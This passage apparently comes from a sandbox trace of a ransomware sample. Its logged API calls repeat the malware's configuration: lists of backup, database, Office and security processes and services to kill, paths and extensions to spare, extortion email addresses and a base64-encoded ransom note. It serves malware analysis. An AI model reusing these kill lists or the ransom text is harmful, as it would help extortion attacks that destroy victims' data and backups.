information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 51200 [0128.952] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3868, Size=0x14) returned 0x8de6e8 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de708 [0128.953] strtol (in: _Str="8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x47f9e4, _Radix=0 | out: _EndPtr=0x47f9e4*=",\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 8 [0128.953] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8de6e8, Size=0x18) returned 0x8de728 [0128.953] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de6e8 [0128.953] strtol (in: _Str="5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server 